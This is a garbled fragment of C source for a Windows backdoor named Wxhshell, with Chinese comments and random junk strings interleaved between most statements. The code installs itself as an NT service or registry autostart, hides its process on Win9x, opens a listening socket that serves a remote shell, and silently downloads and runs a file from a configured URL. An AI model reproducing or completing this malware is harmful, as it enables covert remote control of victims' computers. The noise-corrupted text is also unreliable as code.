*.c9$`s HMODULE hMod; (I
ds<n" char procName[255]; K=?F3tX^ unsigned long cbNeeded; ]C6[`WF Q3%#
o+R> if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h;p%EZ |K;Txe_ CloseHandle(hProcess); %OW9cqL>l Yb3f]4EH if(strstr(procName,"services")) return 1; // 以服务启动 Z_ gVYa (+8xUc(w return 0; // 注册表启动 $A@3ogoS& } bM0[V5:jB F]A~~P // 主模块 r&3o~! int StartWxhshell(LPSTR lpCmdLine) -,A5^>}%,Y { N8YBu/ SOCKET wsl; j~S!!Z] BOOL val=TRUE; <o7#?AcPu int port=0; ~1r*/@M[V struct sockaddr_in door; x<j"DS}S)D ?U/Wio$@ if(wscfg.ws_autoins) Install(); `6N-MsP XQJ^)d00h port=atoi(lpCmdLine); FT/5 _1i o-=d|dWG if(port<=0) port=wscfg.ws_port; FNm6/_u3 d<Q+D1 WSADATA data; E}' d,v#Z{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n~ >h4=h +F~0\#d if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &<V_[Wh" setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;#yu"6{ door.sin_family = AF_INET; QS [B door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?hJsN door.sin_port = htons(port); bjPbl2K -V
u/TT0 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (d'j'U:C closesocket(wsl); a5}44/% return 1; e9`uD|KAS| } wvmg)4, dXcPWbrU4 if(listen(wsl,2) == INVALID_SOCKET) { u:uSsAn0$ closesocket(wsl); q= yZx) return 1; n*m"L|:ff } }K/}(zuy1Y Wxhshell(wsl); TjUZv 1(L WSACleanup(); fAMD2C Z0ncN]) return 0; ,M@m4bx nK h%E-c } [%84L@:h $EQT"ZX>%i // 以NT服务方式启动 [|[sYo VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mfngbFa1 { |J<pLz DWORD status = 0; ~1=.?Ho DWORD specificError = 0xfffffff; [+'BQ wyrI8UY serviceStatus.dwServiceType = SERVICE_WIN32; hD$p;LF serviceStatus.dwCurrentState = SERVICE_START_PENDING; S#h'\/S serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T018)WrhL serviceStatus.dwWin32ExitCode = 0; c
BHL, serviceStatus.dwServiceSpecificExitCode = 0; ,%?; \?b%h serviceStatus.dwCheckPoint = 0; WS1&3mOd serviceStatus.dwWaitHint = 0; prlyaq;4 Wj4^W<IO hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ! 2Xr~u7a if (hServiceStatusHandle==0) return; rv,NQZ 6MQs \ J6. status = GetLastError(); 1<W4>~,wj if (status!=NO_ERROR) rwL=R, { %jZp9}h serviceStatus.dwCurrentState = SERVICE_STOPPED; vLBee>$
serviceStatus.dwCheckPoint = 0; \,l.p_< serviceStatus.dwWaitHint = 0; 8|5Gv serviceStatus.dwWin32ExitCode = status;
{b|3]_-/ serviceStatus.dwServiceSpecificExitCode = specificError; yE.495 SetServiceStatus(hServiceStatusHandle, &serviceStatus); )l#%.Z9 return; :Hzz{' } (:?5 i` pHj[O?F serviceStatus.dwCurrentState = SERVICE_RUNNING; nIyROhZ serviceStatus.dwCheckPoint = 0; lrs0^@.+ serviceStatus.dwWaitHint = 0; #QTfT&m+G} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AaVI%$ } obAs<nk d; mmM\3] // 处理NT服务事件,比如:启动、停止 8! H8[J VOID WINAPI NTServiceHandler(DWORD fdwControl) abROFI5.L { $u; >hk switch(fdwControl) R3B5-^s { ~aJW"\{ case SERVICE_CONTROL_STOP: YY#s= serviceStatus.dwWin32ExitCode = 0; -E8ntY- serviceStatus.dwCurrentState = SERVICE_STOPPED; 5\akI\ serviceStatus.dwCheckPoint = 0; r~$}G-g serviceStatus.dwWaitHint = 0; 7P/?wv9+n* { dThR)Z'= SetServiceStatus(hServiceStatusHandle, &serviceStatus); x|@1wQ"6 } V3>f*Z)xn return; q+A<g(Xu case SERVICE_CONTROL_PAUSE: i?GfY
C2q serviceStatus.dwCurrentState = SERVICE_PAUSED; a^*cZ?Ta break; <XQN;{xSa case SERVICE_CONTROL_CONTINUE: k9}Q7) @ serviceStatus.dwCurrentState = SERVICE_RUNNING; t]
r,9df' break; T-a&e9B case SERVICE_CONTROL_INTERROGATE: 'Q:i&dTg break; cWN d<=Jp }; 35Ai;mU' SetServiceStatus(hServiceStatusHandle, &serviceStatus); je&dioZ> } I~\O /d0Q>v.g // 标准应用程序主函数 f >mhFy int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^>N8*=y { 4Qa@` )XLj[6j0 // 获取操作系统版本 >Z#uFt0<Pm OsIsNt=GetOsVer(); N]1V1c$G* GetModuleFileName(NULL,ExeFile,MAX_PATH); yz[%MXI +1otn~(E // 从命令行安装 Nb~,`bu,2 if(strpbrk(lpCmdLine,"iI")) Install(); +
,@ FxZl H$z>OS_6U // 下载执行文件 BFBR/d[& if(wscfg.ws_downexe) { m b%C}8D if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W(;x\Nc7 WinExec(wscfg.ws_filenam,SW_HIDE); zKIGWH=qqm } ;_mgiKHg %04:z77 if(!OsIsNt) { i{o#3 // 如果时win9x,隐藏进程并且设置为注册表启动 [Ja)<!]< HideProc(); _1I K$gb[ StartWxhshell(lpCmdLine); )l`1)Ea~ } 't
+"k8 else r_b8,I6{] if(StartFromService()) r5t;'eCea // 以服务方式启动
^I]LoG: StartServiceCtrlDispatcher(DispatchTable); P@qMJ}<j else =yl4zQmg$ // 普通方式启动 v1LKU StartWxhshell(lpCmdLine); `wNm%*g ).pO2lLF4 return 0; /8f>':zUb }
|